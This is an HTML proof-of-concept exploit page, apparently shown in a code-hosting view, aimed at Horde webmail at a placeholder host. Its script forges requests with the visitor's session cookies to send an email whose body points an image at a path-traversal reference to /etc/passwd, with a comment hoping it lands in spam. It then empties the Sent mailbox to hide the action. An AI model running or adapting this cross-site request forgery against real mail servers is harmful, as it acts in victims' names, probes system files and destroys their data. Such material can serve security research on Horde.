42 lines
1.4 KiB
HTML
42 lines
1.4 KiB
HTML
<!DOCTYPE html>
|
|
<html>
|
|
|
|
<body>
|
|
<h1>yo</h1>
|
|
<script>
|
|
var p1 = new FormData();
|
|
p1.append('to', 'john@facepalm.移动');
|
|
// land in spam
|
|
p1.append('subject', 'Your exclusive welcome bonus has arrived');
|
|
p1.append('html', '1');
|
|
p1.append('message',
|
|
'<html><body>b()b t!@#!@$%<img src="http://targ/horde/js/ckeditor/../../../../etc/passwd"></body></html>');
|
|
|
|
p1.append('identity', '0');
|
|
p1.append('priority', 'normal');
|
|
p1.append('request_read_receipt', '0');
|
|
p1.append('save_sent_mail', '1');
|
|
fetch('http://targ/horde/services/ajax.php/imp/sendMessage', {
|
|
method: 'POST',
|
|
body: p1,
|
|
credentials: 'include',
|
|
mode: 'no-cors'
|
|
})
|
|
.then(() => {
|
|
console.log("* bye");
|
|
setTimeout(() => {
|
|
var p2 = new FormData();
|
|
p2.append('mbox', 'U0VOVA'); // b64 SENT
|
|
// delete
|
|
fetch('http://targ/horde/services/ajax.php/imp/emptyMailbox', {
|
|
method: 'POST',
|
|
body: p2,
|
|
credentials: 'include',
|
|
mode: 'no-cors'
|
|
});
|
|
}, 2000);
|
|
});
|
|
</script>
|
|
</body>
|
|
|
|
</html> |